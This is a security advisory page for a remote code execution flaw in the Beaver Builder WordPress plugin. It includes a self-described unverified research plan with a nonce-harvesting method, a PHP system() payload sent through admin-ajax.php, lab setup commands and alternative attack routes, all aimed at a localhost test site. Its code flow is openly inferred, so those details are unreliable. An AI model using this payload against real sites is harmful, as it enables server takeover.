CVE-2025-69319

Beaver Builder <= 2.9.4.1 - Authenticated (Contributor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.9.4.2
Patched in
8d
Time to patch

Description

The Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.9.4.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.9.4.1
PublishedJanuary 21, 2026
Last updatedJanuary 28, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to analyze and exploit **CVE-2025-69319**, an authenticated Remote Code Execution vulnerability in Beaver Builder. ## 1. Vulnerability Summary The Beaver Builder plugin fails to properly restrict the use of code-execution features (such as "Conditional Logic" o…

Show full research plan

This research plan outlines the steps to analyze and exploit CVE-2025-69319, an authenticated Remote Code Execution vulnerability in Beaver Builder.

1. Vulnerability Summary

The Beaver Builder plugin fails to properly restrict the use of code-execution features (such as "Conditional Logic" or "PHP Code" modules) to users with high-level capabilities (like unfiltered_html). In versions up to 2.9.4.1, a user with Contributor-level permissions can craft layout data that includes arbitrary PHP code. This code is processed and executed by the server when the layout is saved or rendered.

The vulnerability resides in the way the plugin handles module settings and layout rules during AJAX updates, specifically within the FLBuilderModel or associated AJAX handlers.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: fl_builder_save_layout (or potentially fl_ajax_update_settings)
  • Authentication: Authenticated (Contributor+)
  • Vulnerable Parameter: data (containing module settings and rules)
  • Payload Type: PHP code within Conditional Logic rules or specialized module settings.
  • Precondition: The attacker must have access to the Beaver Builder editor for a post/page they can edit. Contributors can edit their own posts.

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user calls admin-ajax.php with action=fl_builder_save_layout.
  2. Handler: FLBuilder::ajax_save_layout() is triggered.
  3. Model Processing: This calls FLBuilderModel::save_layout( $post_id, $publish, $data ).
  4. Data Decoding: The $data (JSON/Serialized) is parsed. It contains "node" (module) configurations.
  5. Logic Evaluation: If a module contains "Conditional Logic" (Rules), Beaver Builder stores these settings.
  6. Sink: When the layout is rendered (either during the save preview or on the frontend), FLBuilderConditionalLogic::evaluate_rule() is called. If the "source" is set to "php", the content of the "php" setting is passed to a sink like eval() or call_user_func().
  7. Vulnerability: The plugin fails to check if the user saving the layout has the unfiltered_html capability before allowing "php" as a logic source or module content.

4. Nonce Acquisition Strategy

Beaver Builder requires a nonce for its AJAX editor actions. This nonce is specific to the plugin's editor context.

  1. Post Creation: Use WP-CLI to create a post and enable Beaver Builder for it.
  2. Navigate: Use browser_navigate to go to the Beaver Builder editor URL for that post.
    • URL format: http://localhost:8080/?fl_builder&post_id=[POST_ID]
  3. Extract: Use browser_eval to extract the nonce and required configuration from the FLBuilderConfig object.
    • JS Variable: window.FLBuilderConfig
    • Nonce Key: window.FLBuilderConfig?.nonce
    • Layout Data Key: window.FLBuilderConfig?.layoutData (useful for structural reference).

5. Exploitation Strategy

The goal is to send a save_layout request containing a module with a malicious "Conditional Logic" rule.

Step 1: Authentication and Setup

  • Login as a Contributor.
  • Identify a post ID the Contributor owns.
  • Obtain the fl_builder_nonce via the browser_eval method described above.

Step 2: The Malicious Request

Send a POST request to admin-ajax.php.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: fl_builder_save_layout
    • fl_builder_nonce: [EXTRACTED_NONCE]
    • post_id: [POST_ID]
    • publish: 1
    • data: A JSON-encoded layout object.

Payload Structure (in data):
The layout object must contain at least one module (node) with a logic rule.

{
  "nodes": {
    "test-node": {
      "type": "module",
      "settings": {
        "rules": [
          {
            "source": "php",
            "operator": "equals",
            "value": "1",
            "php": "system('id > /tmp/pwned');"
          }
        ]
      }
    }
  }
}

Step 3: Triggering Execution

In many cases, the save action itself triggers a preview render that executes the code. If not, navigating to the frontend view of the post will trigger FLBuilder::render_layout(), which evaluates the conditional logic.

6. Test Data Setup

  1. User: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Post: Create a post owned by the contributor.
    • wp post create --post_type=post --post_title="Exploit Post" --post_status=publish --post_author=[ATTACKER_ID]
  3. Plugin Config: Ensure Beaver Builder is enabled for "Posts" in the settings.
    • wp option update _fl_builder_post_types '["post", "page"]'

7. Expected Results

  • HTTP Response: The admin-ajax.php request should return a 200 OK with a JSON response (usually {"success": true}).
  • Execution: The PHP code within the php key of the rule should execute.
  • Indicator: If the payload is system('id'), the output might appear in the AJAX response or be written to a temporary file if redirected (e.g., > /tmp/pwned).

8. Verification Steps

  1. Filesystem Check: Check if the payload successfully wrote to a file.
    • ls -l /tmp/pwned
  2. Database Check: Verify the malicious layout data was saved.
    • wp post get [POST_ID] --field=post_content (Beaver Builder stores encoded data in post content or meta).
    • wp post meta get [POST_ID] _fl_builder_data
  3. Log Check: Check the WordPress debug log if WP_DEBUG is enabled.

9. Alternative Approaches

If fl_builder_save_layout is too complex or fails:

  • Alternative Action: Try fl_ajax_update_settings. This action updates settings for a specific module node and is often used by the editor to save individual components.
    • Parameters: action=fl_ajax_update_settings, node_id=[NODE_ID], settings=[JSON_SETTINGS].
  • Shortcode Injection: Attempt to use a Beaver Builder shortcode in the post content that specifies a malicious layout or template: [fl_builder_insert_layout id="..."] if it accepts raw data.
  • Field Connections: Look for the "Field Connections" feature (usually triggered by a plus icon in settings). If it allows a callback or function parameter, use it to call dangerous functions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.